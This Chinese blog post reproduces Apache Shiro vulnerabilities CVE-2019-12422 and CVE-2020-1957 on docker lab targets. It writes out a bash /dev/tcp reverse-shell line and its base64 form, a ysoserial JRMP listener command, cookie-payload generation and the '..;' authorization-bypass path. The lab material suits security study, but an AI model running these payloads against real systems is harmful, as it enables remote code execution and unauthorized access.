★★免责声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
1、前言
反序列化漏洞原理和Shiro反序列化漏洞原理请参阅《反序列化漏洞(一)Shiro漏洞CVE-2016-4437复现》,【CVE-2019-12422】使用python脚本判断是否存在shiro漏洞,反弹shell漏洞利用,【CVE-2020-1957】Shiro权限绕过漏洞。
2、CVE-2019-12422
2.1、启动靶场环境
# 获取docker镜像
docker pull medicean/vulapps:s_shiro_1# 重启docker
systemctl restart docker# 启动docker镜像
docker run -d -p 8083:8080 medicean/vulapps:s_shiro_1# 查看靶场启动情况
docker-compose ps
2.2、访问靶场
访问:http://192.168.242.4:8083
2.3、判断漏洞是否存在
使用python脚本工具类shiropy,需要自己配置初始化,参考步骤:2.3.1、shiropy环境准备。
2.3.1、shiropy环境准备
先把shiropy.zip解压,然后使用PyCharm编辑打开,操作路径:File->Open…,指定shiropy的目录然后点确定打开。
使用PyCharm编辑器设置解释器,操作路径:File->Settings…或使用快捷键Ctrl+Alt+S,弹出窗口,选择Project:shiropy->Python Interpreter,在右侧点Add Interpreter进行添加。
然后在外层再的点Apply按钮应用生效。
把项目需要的依赖lib导入进来,有两种方式:点编辑器上方的提示或使用命令进行install。
#批量安装依赖模块
pip install -r requirements.txt#将当前项目的所有依赖库导出为requirements.txt文件 ,所以在上面步骤添加解释器时不想用继承
pip freeze > requirements.txt
2.3.2、dnslog申请临时域名
在线网址:https://dnslog.org/
,获取到子域名:f9afffca.dnslog.store
2.3.3、生成检测payload
使用shiro.py 脚本,生成检测payload,如果当前项目有存在文件:payload.cookie,手动删除一下。生成命令如下
# 双引号里面的域名是上一步骤获取的,自己再拼接上http://
python shiro.py "http://f9afffca.dnslog.store"
生成成功会在当前目录下多一个文件:payload.cookie。
2.3.4、BurpSuite拦截处理
先在浏览器用提供的测试号登录,登录时记得点Remember me复选框。
BurpSuite打开拦截,使用文本编辑器打开payload.cookie复制里面的内容,直接覆盖Cookie:
后的内容,然后放包。
2.3.5、登录成功
界面显示登录成功
2.3.6、dns解析成功
刷新网站或点Get Results获取结果,发现有1条解析记录,表示存在漏洞。
2.4、漏洞利用(反弹 shell)
2.4.1、开启监听端口
在kali系统使用nc命令开启监听端口
# nc命令开启监听,kali系统ip: 192.168.242.4
nc -lvvp 10808# 监听成功,会有提示信息如下
listening on [any] 10808 ...
2.4.2、反弹shell命令
# 反弹shell指令-格式
/bin/bash -i >& /dev/tcp/反弹shell的IP/nc监听的端口 0>&1# 反弹shell指令-kali攻击机
/bin/bash -i >& /dev/tcp/192.168.242.4/10808 0>&1# 把以上payload进行base64编码,使用在线网址:https://base64.us/
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjQyLjQvMTA4MDggMD4mMQ==
2.4.3、开启JRMP
使用ysoserial-master-SNAPSHOT.jar开启JRMP监听
# 切换到目标目录
cd tools/shiro# 命令-格式
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash -c {echo,base64反弹shell的payload}|{base64,-d}|{bash,-i}"# 目标执行的命令
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjQyLjQvMTA4MDggMD4mMQ==}|{base64,-d}|{bash,-i}"# 开启成功,会有提示信息如下
* Opening JRMP listener on 1099
2.4.4、构造payload
使用s.py构造payload,命令如下
# ip地址为kali系统也就是攻击机的ip,端口则为JRMP设置的端口值
python s.py 192.168.242.4:1099
运行成功会在下面生成一串内容,直接复制出来到登录时,使用BurpSuite拦截处理,步骤参考:第2.3.4、BurpSuite拦截处理。
2.4.5、BurpSuite拦截处理
因在第2.3步骤时有成功登录过,重新登录验证时先做下Log out登出操作,登录时记得点Remember me复选框。BurpSuite打开拦截,复制上步骤生成的内容,同样直接覆盖Cookie:
后的内容,然后放包。
2.4.6、反弹shell成功
在JRMP监听窗口下有连接信息
在nc监听窗口,反弹shell成功
3、CVE-2020-1957
3.1、漏洞原理
Shiro权限绕过漏洞,在Apache Shiro 1.5.2以前的版本中,在使用Spring动态控制器时,攻击者通过构造路径包含..;
这样的跳转,可以绕过Shiro中对目录的权限限制。
3.2、启动靶场环境
# 先切到对应目录
cd /home/kali/vulhub-master/shiro/CVE-2020-1957# 开启靶场
docker-compose up -d# 查看靶场启动情况
docker-compose ps
3.3、访问靶场
访问:http://192.168.242.4:8080
3.4、访问admin目录
回显302跳转,构造恶意请求 /xxx/..;/admin/
成功绕过。
4、资料获取
如果需要本文Shiro漏洞利用工具包,请关注公众号:大象只为你,后台回复:shiro漏洞。